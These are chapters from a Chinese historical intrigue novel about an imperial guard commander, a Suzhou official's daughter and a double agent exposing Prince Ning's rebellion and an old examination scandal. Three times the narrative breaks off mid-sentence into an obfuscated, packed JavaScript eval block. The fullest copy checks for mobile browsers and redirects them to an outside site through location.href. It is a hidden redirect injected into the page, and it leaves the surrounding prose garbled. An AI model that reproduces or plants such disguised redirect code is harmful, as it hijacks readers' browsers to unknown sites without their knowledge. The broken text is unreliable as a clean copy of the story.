“大人,前面就是京畿地界了。”蓝羽低声道。 燕十把玩着那枚蛇莲铜钱,忽然蹙眉:“……有血味儿。” 驿站内灯火骤灭,一道黑影自檐角掠下,聂未晨绣春刀出鞘三分,来人竟是曹玉……孤身一人,怀中抱着个昏迷的素衣女子。 “聂大人。”曹玉冷笑而来,“咱家来送您一份大礼。” 女子面容苍白,额心一点红痣,是失踪的陈白瓷。 聂未晨刀锋未收:“曹公公这是唱哪出?” 曹玉将人往前一推:“陈姑娘知道官银下落,东厂留不住她的命,咱家做个顺水人情,聂大人看着办就是。”说罢,他转身消失在夜色中。 陈白瓷虚弱抬眼,唇边溢出血丝:“聂大人……官银还在通州漕帮的……‘死水码头’……” …… 金銮殿上,鸦雀无声。 聂未晨一袭玄色官袍,绣春刀刀鞘上的云纹寒光冷冽,他冷眸肃立,望着阶上龙椅,身后,陈白瓷一身素衣,低眉顺目,眼中坚毅。 “陛下,宁王勾结东厂盗取官银一案,人证物证俱在。”聂未晨声音不大,字字铿锵,“二十万两官银已在通州死水码头全部寻回,宁王府私兵名册、火器清单也已缴获。” 他侧开半步,让朱厚照看清陈白瓷:“陛下,此女乃通州漕帮帮主陈青之女陈白瓷,亲眼目睹官银熔铸,化为私盐、火器之全过程,愿当堂作证。" 陈白瓷上前一步,跪伏于地:“民女陈白瓷,叩见陛下。” 朱厚照前倾身子,目光在陈白瓷身上停留片刻,转向聂未晨:“聂爱卿辛苦了,此案证据确凿,宁王谋逆之心昭然若揭,朕自会严惩不贷。” 殿中群臣噤若寒蝉,宁王一党面如土色,曾与宁王有过往来的官员更是冷汗涔涔,生怕牵连自身。 章仲启长舒了口气,又蹙了眉,目光落在聂未晨的脸上。 聂未晨忽然跪地一拜:“陛下,臣有一事相求。” “讲。” "十四年前苏州科举贪腐一案,致使臣苏州通判府抄家灭族,苏州学子数十人流放边疆,如今臣侥幸破获官银大案,斗胆请陛下恩准重审此案,还亡者清白,给生者公道!" 此言一出,朝堂哗然,章仲启挑眉低眸,咽了口唾沫。 文官队列中,户部左侍郎赵世安眼皮猛跳,手中玉笏险些落地。 他稳住心神,眼角余光扫向殿中跪着的两人,心中暗惊:聂未晨怎会要重审旧案? 皇帝眉头微蹙:“科举一案已过去多年,聂爱卿为何突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“趴下。”他低喝一声,抽出刀来,刀光映在他的脸上。 街道两旁,屋顶檐角闪过数道黑影,又一支箭射来,聂未晨挥刀格开。 “赵世安动作真快。”聂未晨不屑道,“看来我们戳到他的痛处了。” 陈白瓷紧贴石柱,呼吸急促:“他们是为账册而来……” 聂未晨护在她身前,目光如鹰隼般扫过四周:“跟紧我,我们尽快离开这里。” 与此同时,一队锦衣卫闻声赶来,檐上黑影迅速退散,聂未晨愈加警惕,谁知道这些锦衣卫里,有没有赵世安的人…… “聂大人!可有伤着?”一锦衣卫小旗拱手问道。 聂未晨收刀入鞘,面色如常:“无碍。有劳诸位。” …… 聂府空荡寂静,燕十逗着墙角一只野猫,一眼眼瞥见聂未晨失神看着手心,蹙眉不解。 聂未晨指尖摩挲着那枚鱼佩,身旁放着库房的机关锁,冰凉的玉质已掌心的温度焐热。 窗外雨风阵阵,雷鸣却无雨,他坐在窗前盯着案卷,却一个字也看不进去。 鱼佩上精细的鳞纹在烛火下泛着微光,……她把鱼佩留下,是不回来了吗? “大人,赵侍郎府上送来的请柬。”府兵大步跨入书房,躬身递上一份烫金帖子。 聂未晨眉头一皱,接过,随手扔在案头:“就说我公务繁忙,没空。” “可赵大人派的人说……事关苏州旧案。” 聂未晨抬眼,五指收紧,握住了掌心鱼佩,烛火在他眸中跳动:“何时?” “明日酉时,百花楼。” 窗外雨声终于落下,聂未晨却开始胸口发闷,燕十跑进来关了窗,看了看他,低头退下。 算日子,陈白瓷应已到苏州了,不知她能否找到…… “大人!”一校尉慌慌张张闯进门来,“苏州飞鸽传书,说梁姑娘她……” 聂未晨猛地起身,案上茶盏在他面前倾倒,脚边碎瓷四溅。 苏州寒山寺外,桃花渡雨雾未消。 梁若鸢一袭藕荷色襦裙,正在茶棚里煮水,炭火“噼啪”静响,她腕上狰狞的血纹时不时传来酸痛。 “梁姑娘,好消息!”茶庄的伙计小跑过来,“听说聂大人在京城立了大功,圣上赐婚呢!” 铜壶“咣当”一声砸在炉架上,滚水溅湿了她的绣鞋,梁若鸢面上不显,只轻轻“哦”了一声:“与哪家千金?” “据说是破案时救下的陈家小姐,生得跟画里仙女似的……” 后面的话梁若鸢再没听清,她低头整理茶具,动作稳得出奇,只有靠近了才能看见她的睫毛在微微颤抖。 “老板娘,来壶碧螺春。” 24. 略施小技 程墨亭一袭月白长衫踏入茶棚,门帘一掀带入一阵凉风,他故意不否认客人的称呼,反倒笑吟吟地往梁若鸢身旁一坐:“老板娘今日这茶,怕是比黄莲还苦三分啊。” 梁若鸢指尖一颤,茶汤泼在青石板上,腾起一片热雾,她头也不抬地拎起铜壶:“客官若嫌苦,出门右转有糖水铺子。” “可我就爱喝这口苦的。”程墨亭握住她手腕,扇骨一挑,纱袖卷起,露出她腕间青蚨血纹,“就像梁姑娘明明疼得指尖发颤,偏要装得云淡风轻。” 棚中茶客纷纷侧目,梁若鸢猛地抽回手,茶匙撞在瓷盏上发出一声脆响。 她抬眼时眸中寒光乍现:“程老板是来喝茶还是来找死?” 程墨亭不慌不忙,从袖中取出一封火漆密信推过去:“聂大人飞鸽传书,说陈白瓷在苏州码头遇袭,有人抢走了她贴身藏着的半本假账册。”他忽然压低嗓音,“巧的是,当日赵世安派去‘护送’的锦衣卫里,有个叫周焕的百户……是白莲教青龙堂的香主。” 梁若鸢捏着信笺,渡口传来一阵骚动,十余名佩刀官差正挨个盘查渡客,为首的绯袍官员腰间金牌晃眼,那正是苏州知府杨明远。 “老板娘,结账。”程墨亭往桌上拍了一粒金瓜子,折扇展开,挡住二人面容,“杨知府身后那个戴斗笠的,看见没?他右手缺了根小指,十四年前苏州府库失火,唯一逃生的库吏张阿四。” 梁若鸢脑中轰响,当年她父亲被诬陷贪污的罪证,正是一份盖着张阿四印鉴的假账。 “站住!”杨明远忽然厉喝,“那个穿藕色衣裳的,转过来!” 程墨亭叹口气,扇面倏地合拢,敲在梁若鸢后腰:“跑。” 他一脚踢翻了旁侧茶桌,将自家茶棚搅得大乱,梁若鸢旋身推倒茶案,滚烫的茶水泼了官差满脸。 程墨亭折扇中寒光闪动,三枚银针钉入追兵膝窝,二人纵身跃上棚外树梢,枝头残红如血雨纷扬。 “往寒山寺后山。”程墨亭揽住她腰肢腾空而起,身后传来箭矢钉入树干的声响。 他在半空翻转,后背替她挡下一支冷箭,咬牙闷哼。 梁若鸢反手甩出一把铜钱,扫落七八支羽箭:“你疯了?!” “比起聂未晨的飞鸽传书……”程墨亭咳着血笑出声,“这箭还算温柔。” 山道尽头是大片断崖,杨明远带着官兵合围而来,山风掀起张阿四的斗笠,露出他布满烫痕的脸:“梁姑娘,别来无恙啊?当年你爹临刑前,可是求着我给他个痛快……” 梁若鸢浑身发抖,刀尖指向他:“我爹的清白,今日就用你的血来洗!” “且慢。”程墨亭按住她的手,从怀中掏出一枚赤玉令牌高高举起,“杨大人可认得这个?” 杨知府脸色大变:“宁王府的调兵符?!怎会在你……” 近百名铁甲兵士自林间列阵而出,为首将领单膝跪地:“虎贲卫奉王爷密令,特来护送程先生!” 那令牌不是该在聂未晨身上吗?什么时候……? 梁若鸢不可置信地看着程墨亭,后者嘴角噙着笑,眼底浮着一片冰凉:“劳烦杨知府转告赵侍郎……当年从火场丢失的真账本,宁王殿下一直替他收着呢。” 杨明远脸色煞白,倒退数步,张阿四转身要逃,虎贲卫将他一刀穿胸。 血溅在梁若鸢绣鞋上,虎贲卫如众星捧月般将程墨亭护在中央,她忽然觉得这人无比陌生。 “你到底是谁?”她刀锋转向程墨亭心口。 程墨亭以扇骨拨开利刃,俯身在她耳边低语:“我是能让你亲眼看见,赵世安怎么跪在你父亲坟前磕头认罪的人。”他顿了顿,“当然,若梁姑娘更想去喝聂大人的喜酒……” “带路。”梁若鸢还刀入鞘,眸中怒火灼灼,“但若你敢骗我……” “岂敢。”程墨亭笑着咳嗽,肩头箭伤的血染红月白长衫,“毕竟梁姑娘方才拔刀护我的模样,可比诏狱的刑具令人心动得多。” 山风卷着残桃掠过悬崖,远处寒山寺的钟声惊起群鸦,程墨亭转身时将一枚带血的铜钱悄悄扔进了张阿四的尸首怀中,那铜钱上,赫然刻着与蛇莲铜钱一模一样的纹路。 …… 翌日天明,一道圣旨震惊了整个京城。 “奉天承运皇帝诏曰:锦衣卫指挥使聂未晨忠勤体国,已故漕帮帮主陈青之女陈白瓷贤良淑德,特赐婚配,择吉日完婚。钦此。” 宣旨太监嗓音尖细,在聂府前院回荡,聂未晨如遭雷击,跪在地上一动不动,半晌,他猛地抬头:“公公,此事是否有误?下官从未……” “聂大人,”太监皮笑肉不笑,“这可是赵侍郎亲自向皇上举荐的美事,陈姑娘虽然出身江湖,但知书达理,皇上都夸赞不已呢,聂大人就不必害羞了。” 聂未晨脑中嗡嗡作响,他是故意的,他知道…… 宣旨太监走后,他转向燕十:“速去苏州,务必找到梁若鸢……” “大人,”燕十面露难色,“昨日线报不是说梁姑娘已跟着那御前司傻子离开了苏州……” 聂未晨一拳砸在廊柱上,指节渗出血丝却浑然不觉:“去找,发寻人告示,说我远房的妹妹走丢了,发现行踪立刻回报……” 青蚨血纹从他肩颈往全身蔓延,他试图以同生蛊感应她的去向,血纹似蠕虫般爬上了他耳后和脸颊,血肉被啃噬的感觉再次灌进他的意识里。 蓝羽将他扶住,连忙制止:“大人莫急,梁小姐不像如此愚钝之人。” 酉时,百花楼三层听雪轩内,沉香木案几上青瓷茶盏升起袅袅热气。 聂未晨难忍焦躁,手指叩着桌面,目光锁在赵世安脸上,窗外阴雨绵绵,将京城的繁华喧嚣都笼在一层薄纱中。 “赵大人今日邀我至此,想必不只是为了品这明前龙井吧?”聂未晨开门见山,声音低沉而克制。 赵世安捋了捋胡须,眼角堆起笑纹:“聂大人果然快人快语。不错,老夫确有一事相询……关于十四年前苏州科举案,听闻聂大人近日在翻查旧档?” 聂未晨眸色一沉,他一直在府中,并未出门,赵世安如何得知?他不动声色,抿了口茶:“翻查旧案的步骤,例行复核罢了,赵大人消息倒是灵通。” “例行复核?”赵世安轻笑一声,从袖中取出一封泛黄的文书推至聂未晨面前,“那聂大人可曾见过这份当年未入档的供词?” 聂未晨展开文书,是当年苏州通判梁渝的亲笔供词,字迹潦草却力透纸背,详细记载了科举舞弊案的真相,与官方记录截然不同,最令他震惊的是,供词末尾赫然提及“苏州织造”四字。 “赵大人这是……” 赵世安指尖轻点泛黄纸页,状若无意:“当年三法司会审时,这份供词‘不慎’遗失了。”他蜡黄的指甲在“苏州织造”四字上重重一划,墨迹竟渗出暗红色,分明是用梁渝的血混着朱砂写就。 这哪是供词,分明是血书鸣冤…… “说来也巧。”赵世安忽然掀开茶盖,热气模糊了他阴鸷的眉眼,“前日苏州来报,令妹的坟茔有人祭扫过,不知是不是聂大人还活着的那个妹妹去看过。”他故意将“令妹”二字咬得极重,“只是坟前那对鎏金烛台,看着倒像当年梁府旧物。” 他的身份是梁若鸢给的,亲族坟茔都是假造的,不可能有人去扫,除非…… 雨风穿堂,几页供词哗啦作响,赵世安按住纸角,故意露出背面一行蝇头小楷,“乔乔”二字醒目刺眼,竟是梁若鸢半月前在苏州当铺的典当记录。 “聂大人,”赵世安忽然压低声音,“有些案子,埋得越深越好。梁通判已伏法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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细雨沾湿青石板,梁若鸢斜倚窗边,臂上血纹痛得指尖颤动,她紧紧握着那枚白莲教的秘宝铜钱,目光落在院中那道颀长的身影上。 程墨亭执伞而立,与几名茶商低声交谈,月白长衫在风中拂动,一派儒雅商贾的模样。 谁能想到,这位扬州最大的茶商,竟是御前司埋得最深的暗探?梁若鸢不自觉地一笑。 “梁姑娘在看什么呢?”程墨亭忽然回头,折扇轻摇,笑吟吟望过来。 梁若鸢收回视线,淡淡道:“看程老板演戏。” 程墨亭低笑,送走商客,踏入屋内,袖中滑出一本泛黄账册,推到她面前:“你要的东西。” 正是陈白瓷找到的官银账本。 梁若鸢翻开账册,眸光微凝,账本记载了十四年前漕运银两的流向,其中三十万两通过苏州织造转入了宁王府,时间恰好在科举案发前一个月。 “程老板倒是神通广大。”她合上账本,抬眼看他,“连这样的证据……都能轻易拿到。” 程墨亭以扇掩唇,眸中笑意深深:“梁姑娘谬赞,不过是……略施小计。” 梁若鸢低眸喝茶,不答。 “所以,程老板接下来打算如何?”梁若鸢指尖轻点账本,“把这证据交给御前司?还是……宁王?” 程墨亭折扇一顿,随即轻笑:“梁姑娘说笑了,自然是查清真相。” 他忽然俯身,气息逼近:“就是不知此时梁姑娘心思里……还愿不愿与我同去南昌?” “南昌?” “宁王的火器库就在那儿。”程墨亭眸中暗芒流转,“若能找到,你我或许还能阻止一场兵祸。” 梁若鸢静静看着他,忽然一笑:“好啊。” 25. 下次见面 程墨亭折扇顿在半空,窗外雨丝渐密,檐角垂铃轻响,梁若鸢指尖摩挲着账册边缘,抬眸时眼底映着烛火,透出几分罕见的柔和。 “程老板这般看着我做什么?”她唇角微勾,“莫非以为我会拒绝?” 程墨亭轻咳一声,扇骨抵着下巴,笑道:“梁姑娘向来对我防备得紧,忽然这般爽快,倒叫人不适应。” “防备?”梁若鸢嗤笑一声,忽然倾身向前,一把攥住他的衣襟,“程墨亭,你当真以为我不知道?” 程墨亭一怔,看着她,未动。 “御前司的密探,宁王府的令牌,漕帮的铜钱……哦!还有白莲教……”她一字一句,气息几乎拂在他唇畔,“程老板的身份,可真够精彩的。” 程墨亭眸色渐深,却依旧含笑:“那梁姑娘还敢与我同行?” “为何不敢?”梁若鸢松开他,慢条斯理地抚平他衣襟的褶皱,“反正……”她抬眸,眼底寒光乍现,“你若骗我,我便杀了你。” 程墨亭低低笑出声来。 “好。”他忽然握住她的手腕,指尖在她腕间青蚨血纹上轻轻一刮,“那便说定了。” 梁若鸢猛地抽回手,看他走向门外,月白长衫掠过门槛,背影清瘦端正。 “三日后启程。”他摆摆手,并未回头“梁姑娘可别忘了带刀。” …… 大婚当日,寅时三刻,聂未晨拜过宾客回房,立于铜镜前,大红喜服衬得他面容冷峻如霜。 窗外隐约传来府中仆役忙碌的脚步声,红绸高挂,喜乐渐起,一派喜庆之景,却与他眼底寒意格格不入。 燕十推门而入,低声道:“大人,赵世安的人已盯紧府中各处,连后院的狗洞都有人守着。” 聂未晨指尖轻叩桌面,眸色深沉:“陈白瓷呢?” “昨夜程墨亭的人将她强行押回了京城,现下安置在西厢房,如今是手脚皆缚,口不能言。”燕十顿了顿,蹙眉道:“赵世安派了四个嬷嬷盯着,说怕新娘子临阵脱逃。” 聂未晨冷笑一声,从暗格中取出一枚青玉扳指递给燕十:“给蓝羽。” 燕十会意,转身退下,不多时,屏风后转出一人,身形、面容与聂未晨一般无二,连耳后那颗极小的黑痣都分毫不差,正是易容后的蓝羽。 “大人。”蓝羽低声道。 聂未晨抬手,亲自为他系上喜服最后一粒织金盘扣:“今日,你是我。” 蓝羽点头,接过玉佩系在腰间,又取了聂未晨惯用的那把淬毒袖箭,藏于袖中。 窗外喜乐渐近,迎亲队伍已至府门外,聂未晨最后看了一眼铜镜中的“自己”,随即转身隐入暗处。 卯时,聂府后院。 聂未晨换了一身粗布短打,面上覆了层易容膏,肤色蜡黄,面目平庸,似个不起眼的杂役。 他从后厨提起一桶泔水,低头穿过回廊,与巡逻的锦衣卫擦肩而过。 “站住!”一名锦衣卫喝住他。 聂未晨脚步一顿,肩膀微微瑟缩,掐着声音道:“大人有何吩咐?” 那锦衣卫掩鼻皱眉,打量他几眼,又瞥了一眼他手中的泔水桶,嫌恶地挥了挥手:“滚远点,别冲撞了喜事!” 聂未晨佝偻着背,连连点头,快步走向后院偏门。 偏门处,两名侍卫正倚着墙打盹,聂未晨放下泔水桶,从袖中滑出两枚铜钱,指尖一弹,铜钱“叮当”落地,滚至墙角。 “咦?是钱!”一名侍卫双眼一亮,急着步子弯腰去捡。 另一人骂骂咧咧:“见钱眼开的东西!”却也忍不住跟着,凑过去看。 聂未晨身形一闪,掠出门外,身影没入喧嚣的人群中。 城外十里,官道旁一处隐蔽的树林,聂未晨撕下易容面皮,燕十早已备了快马,低声道:“大人,最后收到的消息,梁姑娘最后出现在扬州,程墨亭的人也在那儿。” 聂未晨翻身上马,眸色森寒:“程墨亭……真是好大的胆子。” 燕十犹豫一瞬,又道:“陈白瓷被那几个嬷嬷绑时,曾挣扎着说了句话……” “什么话?” “她说……‘账册在程墨亭手里,梁若鸢有危险,快告诉聂大人’,然后就哑巴了……” 聂未晨指节攥得发白,猛抽了马背:“走!” 骏马嘶鸣,绝尘而去,燕十撇嘴蹙眉,回望了一眼京城高耸的城楼。 …… 南昌城外,暮色沉沉,官道上马蹄声碎。 梁若鸢勒马停在一处高坡上,远眺南昌城墙,城头灯火如星,隐约可见重兵巡逻。 “宁王在此屯兵多年,火器库必然守备森严。”程墨亭策马与她并肩,“梁姑娘可有良策?” 梁若鸢瞥他一眼:“程老板不是一向足智多谋?何必问我。” 程墨亭轻笑:“我倒是有一计,只是……”他顿了顿,目光落在她脸上,“需得梁姑娘配合。” 梁若鸢挑眉:“说。” “京城封锁了消息,宁王还不知道谋逆之事已然暴露,听闻他近日在寻一位善工笔花鸟的女匠人。”程墨亭眸中笑意深深,信手接下一只信鸽,有放飞,“恰巧,梁姑娘的笔法在当年……也算苏州一绝?” 梁若鸢眯起眼:“你想让我混入宁王府?” “不仅如此。”程墨亭凑近她耳畔,低声道,“还要让宁王亲自带你进那池底宝库。” 梁若鸢冷笑:“程老板莫不是疯了?” “梁姑娘怕了?” “激将法对我没用。”她冷冷道,“不过……这计划倒也有趣。” 程墨亭笑意更深:“那便如此定了。” 夜色如墨,宁王府朱漆大门森然紧闭,府内灯火通明。 王府深处,朱宸濠负手立于书房窗前,指尖摩挲着一枚玉玉扳指,眼中阴沉不定。 “王爷。”一名暗卫跪地禀报,“今日又有三人失踪,恐怕……朝廷的人已潜入南昌。” 朱宸濠冷笑一声:“果然坐不住了。” “王爷,是否要提前……”侍卫压低声音,做了个挥刀的手势。 “不急。”朱宸濠眯起眼,“本王倒要看看,凭他们……能翻出什么浪来。” 他走向案几,展开一幅未完工的花鸟图,指尖点着画上一只青雀,喃喃道:“这画师,还没找到?” “回王爷,已有些眉目。”侍卫低头道,“听闻苏州有位乔氏女子,工笔绝妙,近日恰在江西游历。” 朱宸濠眼中精光一闪:“带她来见本王。” 翌日,王府偏院,暗香浮动,梁若鸢一袭素衣,指尖蘸墨,在宣纸上细细勾勒一只振翅欲飞的翠鸟,身旁侍女低眉顺眼,时不时偷瞥她的动作。 “姑娘的画技,果然名不虚传。”一道声音低沉带笑,从身后传来。 梁若鸢笔尖一顿,缓缓抬眼。 朱宸濠负手而立,盯着她,唇角含笑,目光灼灼:“本王近日得了一幅古画,可惜残缺不全,不知乔姑娘可否帮忙修补?” 梁若鸢搁笔起身,福了一礼:“民女技艺粗浅,恐难当大任。” 朱宸濠笑意更深:“无妨,本王信你。” 他抬手一挥,两名黑翎卫抬上一只檀木匣子,匣中赫然是一幅破损的《百鸟朝凤图》。 梁若鸢眸光微动,这画,是当年苏州织造局失窃的贡品…… 朱宸濠似笑非笑:“听闻乔姑娘出身苏州,想必对此画……并不陌生?” 梁若鸢指尖微凉,面上不动分毫:“王爷说笑了,民女不过一介画匠,哪识得这等贵重之物?” 朱宸濠盯着她,忽然大笑:“好!那便有劳乔姑娘了。” 他转身离去,却在门口停住,意味深长道:“对了,明日午时,本王带你去个有趣的地方。” 夜半,王府暗阁黑翎卫换岗间隙,梁若鸢趁机翻出窗外,身形隐入阴影中。 她指尖捏着那枚白莲教的秘宝铜钱:“池底宝库的钥匙……是时候试试了……” 程墨亭的身影一闪,指尖弹出一粒石子,击中巡夜黑翎卫的膝窝,那人闷哼一声,踉跄倒地。 梁若鸢借机掠上望楼顶端,俯视整座王府,西南角,一队黑翎卫身披铁甲正严密把守一座假山石亭,亭下水池波光粼粼,映着森冷月色,那是她上次险些栽了的地方。 “果然是藏在那儿……”她眸中光点忽然锐利起来。 程墨亭声如鬼魅:“梁姑娘,小心了……宁王此人,最擅长的就是……请君入瓮。” 梁若鸢勾唇不屑:“那也得看他的瓮,装不装得住我。” …… 苏州城夜雨潇潇,聂未晨勒马停在知府衙门后巷,雨水顺着他的斗笠滴落,在青石板上溅起细碎的水花。 “大人,杨明远果然有鬼。”燕十从暗处闪出,低声道,“他府上昨夜有宁王府的密信送到,用的是白莲教的暗记。” 聂未晨眸色一沉:“白莲教?那妖女不是已经死了吗?” 燕十冷笑:“怕是不知一个妖女。” 聂未晨抬手一挥,数十名锦衣卫无声散开,将知府衙门围得水泄不通。 杨明远正在烛下疾书,忽听窗外一声轻响,他猛地抬头,窗纸上映出一道修长人影。 “杨大人,深夜还在批阅公文?倒是勤政爱民啊……”聂未晨的声音冷似寒铁。 杨明远手一抖,墨汁污了信笺,他强作镇定:“聂大人不在京城温柔乡,深夜造访,有何贵干?” 聂未晨推门而入,雨水混着夜风卷进屋里,他指尖一弹,一枚东厂黑铜牌地落在案上。 “解释。” 杨明远脸色煞白,从袖中抽出一把短刀,直刺聂未晨心口。 燕十站在窗外,一箭射穿了他持刀的手,目光如刀。 “找死。”燕十破窗而入,与聂未晨一前一后堵了他的去路。 聂未晨一脚将他踩翻在地:“说,梁若鸢……在哪?” 杨明远嘴角溢血,狞笑道:“你们来晚了……她怕早已跟着程老板去了南昌,宁王殿下正等着她呢。” 燕十皱眉:“什么?!她去宁王府?” “哈哈哈……”杨明远癫狂大笑,“你们锦衣卫不是无所不知吗?自己去查啊!” 聂未晨双眸一狠,靴底猛地发力,杨明远肋骨断裂,惨叫片刻后戛然而止,昏死过去。 “带走。”燕十示意身后锦衣卫前来提他,叉腰懊恼。 聂未晨转身,“备马,我们连夜去南昌。” 雨夜中,两匹快马踏碎泥泞,直奔南昌方向。 燕十策马与聂未晨并肩,沉声问道:“大人,梁姑娘为何会与宁王扯上关系?她不是要查苏州的旧案吗?” 聂未晨目光幽深:“十四年前,科举舞弊一案,梁家满门被灭,唯独她活了下来。” 燕十怔住:“您是怀疑……宁王就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922294|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是多年来所有事情的幕后黑手?” “不止。”聂未晨冷笑,“赵世安就是当年是苏州织造的老板,杨明远曾是他的门生,而宁王……需要江南的银子养兵。” 燕十倒吸一口凉气,解了大惑:“所以梁姑娘去宁王府,是为了复仇?” 聂未晨未答,猛地一鞭抽在马背上,马蹄声奔走如雷,踏破雨幕。 …… 修图数日,未有异样,宁王府的灯笼夜夜在风中摇曳,将梁若鸢的影子拉得细长。她指尖捏着那枚白莲教铜钱,铜钱边缘在月下泛起青芒。 “池底宝库……”她坐在房顶轻喃着,目光锁在假山石亭下那片幽暗水域。 她从袖中滑出一枚银针,针尖蘸了特制的药粉,屈指一弹,银针无声刺入巡逻的黑翎卫后颈。那人身形一晃,还未倒地就被她拖入阴影中。 “程老板的迷药倒是好用。”她笑一声,换上黑翎卫的装束,铁甲冰冷,压在身上。 假山石亭近在咫尺,四名守卫伫立不动,梁若鸢提着从厨房顺来的食盒,故意踢响脚边石子。 “换岗的饭食。”她压低嗓音,将食盒放在亭前石阶上。 为首的守卫皱眉:“未到换岗时辰。” 梁若鸢袖中短刀已割开了他的喉咙,其余三人还未拔刀,她已连环三脚将他们踹入水中。 水面泛起血色,很快消隐在夜色中。 石亭中央的棋盘机关正心恰好是铜钱秘宝的纹样,她将铜钱嵌入,听着机括转动,脚边露出向下的石阶。 霉味扑面而来,夹杂着火药味,看来这下面不单是宝库…… 阶梯尽头是一扇精铁大门,门锁形制奇特,中央凹陷处正是铜钱大小,梁若鸢将白莲教铜钱再次嵌入,“咔嗒”一声,大门缓缓开启。 眼前的景象令她呼吸一滞,地下空间比整个宁王府还要广阔,数百工匠正在铸造火铳,堆积如山的火药桶旁,孩童正在填装铁砂。 墙壁上悬挂的舆图标注着进攻京城的路线,角落里二十尊虎蹲炮,炮身上工部的印记清晰可见。 “原来如此……”梁若鸢指尖发颤,十四年前苏州织造私运官银,竟是为了今日,父亲当年发现的秘密,就是这条直通谋反的暗线。 “乔姑娘对本王的兵器库可还满意?” 宁王的声音从背后传来时,梁若鸢刀已出鞘,二十名黑翎卫的弩箭同时对准了她,箭尖泛着幽蓝的光。 朱宸濠把玩着那枚从机关取出的铜钱,笑容阴鸷:“白莲教的信物,程墨亭给你的?”他忽然捏断了铜钱,“有趣,御前司的追踪虫。” 梁若鸢心头一震,程墨亭……在利用她? “本王原想用你钓聂未晨,没想到还附赠了程墨亭。”宁王击掌三下,程墨亭自暗处走出,铁链锁了手脚,月白长衫染满血迹,“御前司的狗,也配窥探本王的大业?” 程墨亭抬头,对梁若鸢露出歉意的笑:“抱歉啊梁姑娘,这次算计错了。” 梁若鸢正欲强攻,整个地下工坊忽然剧烈震动,西北角的火药库传来爆炸声,浓烟中传来锦衣卫铜哨响起,梁若鸢趁乱挥刀,宁王亲卫将她团团围住。 “杀。”宁王冷冷挥手。 箭雨袭来,一道玄色身影破烟而至,绣春刀舞作盾幕,箭矢纷纷折断落地。 聂未晨将梁若鸢护在身后,刀尖直指宁王:“朱宸濠,你谋反的证据,锦衣卫已尽呈御前!” 梁若鸢看着他紧绷的侧脸,京城到南昌八百里加急,他竟真的……赶来…… 聂未晨察觉到她的目光,低声道:“陈白瓷是幌子,真的账册已在蓝羽手里。” 宁王大笑:“聂大人可知程墨亭的真实身份?”他猛地扯开程墨亭的衣襟,露出他心口处白莲烙印,“他不仅是御前司暗探,更是白莲教圣子,当年苏州梁家灭门一案……” 程墨亭忽然暴起,铁链在他双手之间生生扯断,一掌击向宁王心口。 聂未晨钢刀同时刺出,梁若鸢以短刀将他架住。 “让他说完!”梁若鸢声音嘶哑。 混乱中程墨亭已夺门而出,宁王胸口剧痛,喷着血沫狞笑:“他父亲……就是当年谋划整件事的……白莲教主……” 第二次爆炸接踵而至,聂未晨拽着梁若鸢冲出地道,身后传来宁王疯狂的吼叫:“放闸!淹死他们!” 机关轰鸣声骤起,地下暗河倒灌而入,他将梁若鸢推上最后一级石阶,发现身后铁闸卡住了自己的右腿。 梁若鸢返身抓住他:“聂未晨!你不许死!你的命是我的!” 河水已漫到聂未晨胸口,他忽然笑起来:“梁若鸢,你腕上的牙印……”水流淹没他的下巴,“是我故意咬的……” “闭嘴!”梁若鸢暴喝,潜入水中,袖中小刀精准切断了闸门机括,聂未晨脱困的瞬间,她因反力向后撞去,却有一双手用力揽住了她,将她从水里一把捞起。 聂未晨湿透的额发贴在她脸上,呼吸灼热:“你救我一次,我救你一次,这次算扯平了。” 地洞再次震动,两人对视一眼,同时脱口而出:“虎蹲炮!” 南昌城墙上,宁王旗帜升起,程墨亭立在城楼阴影处,手中握着从兵工厂带出的图纸和密信,那上面有赵世安与宁王往来的全部证据,他看着暗河出口,两个人影相互扶持站立,苦笑着抹去嘴角血迹。 “梁姑娘……”他轻声道,“下次见面,就是敌人了。” 26. 梁家女儿 十日…… 南昌城头王旗换作玄色,程墨亭已在瘦西湖的画舫里煮茶。 鎏金茶碾下压着三封信笺,火漆上赵世安的私印在水汽中渐渐软化,他哼着扬州小调,袖口暗绣白莲时隐时现。 “少主。”一黑衣人从舱外闪入,“锦衣卫的人已查到平江书院,发现了瓦剌的金狼徽。” 程墨亭指尖一挑,信笺落进炭盆里,火焰腾起,映亮他一双眉眼。 “让我们的小狐狸继续跑一会儿。”他用茶夹夹起燃烧的信纸,投入梁若鸢曾用过的青瓷盏中,“你说……聂指挥使看见心上人的东西被烧了,会不会心疼得失了方寸?” 画舫外,卖花女歌声婉转,调子正是十四年前梁若鸢在苏州学过的《牡丹亭》,程墨亭淡淡笑着,将灰烬撒入湖水中,一群锦鲤惊散。 …… 南昌卫所密室铁门半开,聂未晨到时,梁若鸢正用簪子挑着最后一道机关锁,宁王的人仓皇撤离,留下的文书散落一地,乱七八糟,她未回头看他,脚尖点住其中一张军械清单:“第三行。” “弘治十八年,苏州造局精铁三千斤。”聂未晨一膝跪地,护腕与清单上的朱砂印堪堪相触,“是官银失踪后三个月。” 梁若鸢的短刀钉在聂未晨手边,刀尖刺穿了清单纸页下方“赵世安”的署名:“我早知道是他。”十四年前她父亲斩首那日,时任苏州织造的赵世安,是证人,亦是监斩官。 